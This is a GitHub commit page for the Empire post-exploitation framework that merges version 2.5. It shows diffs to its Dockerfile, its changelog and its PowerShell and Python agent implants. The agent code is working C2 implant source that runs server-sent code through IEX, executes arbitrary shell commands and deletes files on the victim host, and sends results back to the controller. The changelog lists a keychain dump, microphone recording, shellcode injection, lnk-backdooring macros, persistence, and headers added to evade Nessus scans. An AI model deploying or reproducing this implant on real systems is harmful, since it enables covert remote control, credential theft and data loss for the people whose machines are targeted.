Skip to content
This repository was archived by the owner on Jan 29, 2020. It is now read-only.

Commit cfd3eaf

Browse files
committed
Update Master to 2.5
2 parents 58ed8a4 + 7166a6d commit cfd3eaf

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

54 files changed

+5592
-699
lines changed

.circleci/config.yml

Lines changed: 0 additions & 16 deletions
This file was deleted.

Dockerfile

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -44,15 +44,12 @@ RUN apt-get update && apt-get install -qy \
4444
sudo \
4545
apt-utils \
4646
lsb-core \
47-
python2.7
48-
49-
# cleanup image
50-
RUN apt-get -qy clean \
51-
autoremove
47+
python2.7 \
48+
&& rm -rf /var/lib/apt/lists/*
5249

5350
# build empire from source
5451
# TODO: When we merge to master set branch to master
55-
RUN git clone -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
52+
RUN git clone --depth=1 -b dev https://github.com/EmpireProject/Empire.git /opt/Empire && \
5653
cd /opt/Empire/setup/ && \
5754
./install.sh && \
5855
rm -rf /opt/Empire/data/empire*

changelog

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,38 @@
1+
2+
03/15/2018
3+
------------
4+
- Version 2.5 Master Release
5+
- Patched launcher generation bug
6+
- Added OSX Mic record module #893 (@s0lst1c3)
7+
- More robust password handling in ssh_command and ssh_launcher modules (@retro-engineer)
8+
- Updated server responses for http listener (@xorrior)
9+
- Template search bug fix (@DakotaNelson)
10+
- bug fix to properly assign taskIDs (@shakagoolu)
11+
- Kali & powershell install fix (@SadProcessor)
12+
- Overhaul events system to provide more descriptive messages and accurate logging of events (@DakotaNelson)
13+
- Added macro that backdoors lnk files (@G0ldenGunSec)
14+
- Bug fix for invoke_psexec module when using custom commands (@ThePirateWhoSmellsOfSunflowers)
15+
- Added capability to generate a vs studio project file to generate a csharp launcher (@elitest)
16+
- Added capability to enable/disable/delete listeners (@mr64bit)
17+
- Added report generation (@bneg)
18+
- Updated http_com listener to server IIS7 default page and added response headers to evade nessus scans (@s0lst1c3)
19+
- Fixed script generation bug for all powerview modules (@xorrior)
20+
- Modify the minidump module to allow for non-admin users to dump memory (@ThePirateWhoSmellsOfSunflowers)
21+
- Removed background downloads feature for powershell agent
22+
- Added linux persistence module via the ~/.config/autostart directory (@jarrodcoulter)
23+
- Added download command to REST API (@shakagoolu)
24+
- Added support for '&&' and ';' characters in shell commands for python agent (@cleb-sfdcsec)
25+
- Added wireless network information to the osx/situational_awareness/host module. (@import-au)
26+
- Added keychain dump module that uses the security utility (@import-au)
27+
- Added shellcode stagers and the 'shinject' module (@xorrior, @monoxgas)
28+
- Added a sleep and jitter parameter to the Invoke-Kerberoast module (@Retrospected)
29+
- Added capability to update agent comms dynamically (@xorrior)
30+
- Added onedrive listener for powershell agent (@mr64bit)
31+
- Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, and getuid in the python agent
32+
- Updated office macro stager for python agent (@import-au)
33+
34+
35+
136
01/04/2018
237
------------
338
- Version 2.4 Master Release

data/agent/agent.ps1

Lines changed: 29 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -100,7 +100,8 @@ function Invoke-Empire {
100100
$script:ResultIDs = @{}
101101
$script:WorkingHours = $WorkingHours
102102
$script:DefaultResponse = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DefaultResponse))
103-
$Script:Proxy = $ProxySettings
103+
$script:Proxy = $ProxySettings
104+
$script:CurrentListenerName = ""
104105

105106
# the currently active server
106107
$Script:ServerIndex = 0
@@ -781,7 +782,7 @@ function Invoke-Empire {
781782
$msg = "[!] Agent "+$script:SessionID+" exiting"
782783
# this is the only time we send a message out of the normal process,
783784
# because we're exited immediately after
784-
Send-Message -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID)
785+
(& $SendMessage -Packets $(Encode-Packet -type $type -data $msg -ResultID $ResultID))
785786
exit
786787
}
787788
# shell command
@@ -969,6 +970,27 @@ function Invoke-Empire {
969970
}
970971
}
971972

973+
elseif($type -eq 130) {
974+
#Dynamically update agent comms
975+
976+
try {
977+
IEX $data
978+
979+
Encode-Packet -type $type -data ($CurrentListenerName) -ResultID $ResultID
980+
}
981+
catch {
982+
983+
Encode-Packet -type 0 -data ("Unable to update agent comm methods: $_") -ResultID $ResultID
984+
}
985+
}
986+
987+
elseif($type -eq 131) {
988+
# Update the listener name variable
989+
$script:CurrentListenerName = $data
990+
991+
Encode-Packet -type $type -data ("Updated the CurrentListenerName to: $CurrentListenerName") -ResultID $ResultID
992+
}
993+
972994
else{
973995
Encode-Packet -type 0 -data "invalid type: $type" -ResultID $ResultID
974996
}
@@ -1023,7 +1045,7 @@ function Invoke-Empire {
10231045
}
10241046

10251047
# send all the result packets back to the C2 server
1026-
Send-Message -Packets $ResultPackets
1048+
(& $SendMessage -Packets $ResultPackets)
10271049
}
10281050

10291051

@@ -1050,7 +1072,7 @@ function Invoke-Empire {
10501072

10511073
# send job results back if there are any
10521074
if ($Packets) {
1053-
Send-Message -Packets $Packets
1075+
(& $SendMessage -Packets $Packets)
10541076
}
10551077

10561078
# send an exit status message and exit
@@ -1060,7 +1082,7 @@ function Invoke-Empire {
10601082
else {
10611083
$msg = "[!] Agent "+$script:SessionID+" exiting: Lost limit reached"
10621084
}
1063-
Send-Message -Packets $(Encode-Packet -type 2 -data $msg)
1085+
(& $SendMessage -Packets $(Encode-Packet -type 2 -data $msg))
10641086
exit
10651087
}
10661088

@@ -1131,11 +1153,11 @@ function Invoke-Empire {
11311153
}
11321154

11331155
if ($JobResults) {
1134-
Send-Message -Packets $JobResults
1156+
((& $SendMessage -Packets $JobResults))
11351157
}
11361158

11371159
# get the next task from the server
1138-
$TaskData = Get-Task
1160+
$TaskData = (& $GetTask)
11391161
if ($TaskData) {
11401162
$script:MissedCheckins = 0
11411163
# did we get not get the default response

data/agent/agent.py

Lines changed: 113 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,15 @@
1616
import zipfile
1717
import io
1818
import imp
19+
import marshal
20+
import re
21+
import shutil
22+
import pwd
23+
import socket
24+
import math
25+
import stat
26+
import grp
27+
from stat import S_ISREG, ST_CTIME, ST_MODE
1928
from os.path import expanduser
2029
from StringIO import StringIO
2130
from threading import Thread
@@ -40,6 +49,8 @@
4049
lostLimit = 60
4150
missedCheckins = 0
4251
jobMessageBuffer = ''
52+
currentListenerName = ""
53+
sendMsgFuncCode = ""
4354

4455
# killDate form -> "MO/DAY/YEAR"
4556
killDate = 'REPLACE_KILLDATE'
@@ -202,15 +213,15 @@ def process_tasking(data):
202213
if result:
203214
resultPackets += result
204215

205-
packetOffset = 8 + length
216+
packetOffset = 12 + length
206217

207218
while remainingData and remainingData != '':
208219
(packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset)
209220
result = process_packet(packetType, data, resultID)
210221
if result:
211222
resultPackets += result
212223

213-
packetOffset += 8 + length
224+
packetOffset += 12 + length
214225

215226
# send_message() is patched in from the listener module
216227
send_message(resultPackets)
@@ -255,10 +266,17 @@ def process_packet(packetType, data, resultID):
255266

256267
elif packetType == 40:
257268
# run a command
258-
resultData = str(run_command(data))
259-
#Not sure why the line below is there.....
260-
#e = build_response_packet(40, resultData, resultID)
261-
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
269+
parts = data.split(" ")
270+
271+
if len(parts) == 1:
272+
data = parts[0]
273+
resultData = str(run_command(data))
274+
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
275+
else:
276+
cmd = parts[0]
277+
cmdargs = ' '.join(parts[1:len(parts)])
278+
resultData = str(run_command(cmd, cmdargs=cmdargs))
279+
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
262280

263281
elif packetType == 41:
264282
# file download
@@ -850,34 +868,98 @@ def log_message(s, format, *args):
850868
httpServer.server_close()
851869
return
852870

871+
def permissions_to_unix_name(st_mode):
872+
permstr = ''
873+
usertypes = ['USR', 'GRP', 'OTH']
874+
for usertype in usertypes:
875+
perm_types = ['R', 'W', 'X']
876+
for permtype in perm_types:
877+
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
878+
if st_mode & perm:
879+
permstr += permtype.lower()
880+
else:
881+
permstr += '-'
882+
return permstr
883+
884+
def directory_listing(path):
885+
# directory listings in python
886+
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
887+
888+
res = ""
889+
for fn in os.listdir(path):
890+
fstat = os.stat(os.path.join(path, fn))
891+
permstr = permissions_to_unix_name(fstat[0])
892+
893+
if os.path.isdir(fn):
894+
permstr = "d{}".format(permstr)
895+
else:
896+
permstr = "-{}".format(permstr)
897+
898+
user = pwd.getpwuid(fstat.st_uid)[0]
899+
group = grp.getgrgid(fstat.st_gid)[0]
900+
901+
# Convert file size to MB, KB or Bytes
902+
if (fstat.st_size > 1024 * 1024):
903+
fsize = math.ceil(fstat.st_size / (1024 * 1024))
904+
unit = "MB"
905+
elif (fstat.st_size > 1024):
906+
fsize = math.ceil(fstat.st_size / 1024)
907+
unit = "KB"
908+
else:
909+
fsize = fstat.st_size
910+
unit = "B"
911+
912+
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
913+
914+
res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)
915+
916+
return res
917+
853918
# additional implementation methods
854-
def run_command(command):
855-
if "|" in command:
856-
command_parts = command.split('|')
857-
elif ">" in command or ">>" in command or "<" in command or "<<" in command:
858-
p = subprocess.Popen(command,stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
859-
return ''.join(list(iter(p.stdout.readline, b'')))
860-
else:
861-
command_parts = []
862-
command_parts.append(command)
863-
i = 0
864-
p = {}
865-
for command_part in command_parts:
866-
command_part = command_part.strip()
867-
if i == 0:
868-
p[i]=subprocess.Popen(shlex.split(command_part),stdin=None, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
919+
def run_command(command, cmdargs=None):
920+
921+
if re.compile("(ls|dir)").match(command):
922+
if cmdargs == None or not os.path.exists(cmdargs):
923+
cmdargs = '.'
924+
925+
return directory_listing(cmdargs)
926+
927+
elif re.compile("pwd").match(command):
928+
return str(os.getcwd())
929+
elif re.compile("rm").match(command):
930+
if cmdargs == None:
931+
return "please provide a file or directory"
932+
933+
if os.path.exists(cmdargs):
934+
if os.path.isfile(cmdargs):
935+
os.remove(cmdargs)
936+
return "done."
937+
elif os.path.isdir(cmdargs):
938+
shutil.rmtree(cmdargs)
939+
return "done."
940+
else:
941+
return "unsupported file type"
869942
else:
870-
p[i]=subprocess.Popen(shlex.split(command_part),stdin=p[i-1].stdout, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
871-
i = i +1
872-
(output, err) = p[i-1].communicate()
873-
exit_code = p[0].wait()
874-
if exit_code != 0:
875-
errorStr = "Shell Output: " + str(output) + '\n'
876-
errorStr += "Shell Error: " + str(err) + '\n'
877-
return errorStr
878-
else:
879-
return str(output)
943+
return "specified file/directory does not exist"
944+
elif re.compile("mkdir").match(command):
945+
if cmdargs == None:
946+
return "please provide a directory"
947+
948+
os.mkdir(cmdargs)
949+
return "Created directory: {}".format(cmdargs)
950+
951+
elif re.compile("(whoami|getuid)").match(command):
952+
return pwd.getpwuid(os.getuid())[0]
880953

954+
elif re.compile("hostname").match(command):
955+
return str(socket.gethostname())
956+
957+
else:
958+
if cmdargs != None:
959+
command = "{} {}".format(command,cmdargs)
960+
961+
p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
962+
return p.communicate()[0].strip()
881963

882964
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
883965

0 commit comments

Comments
 (0)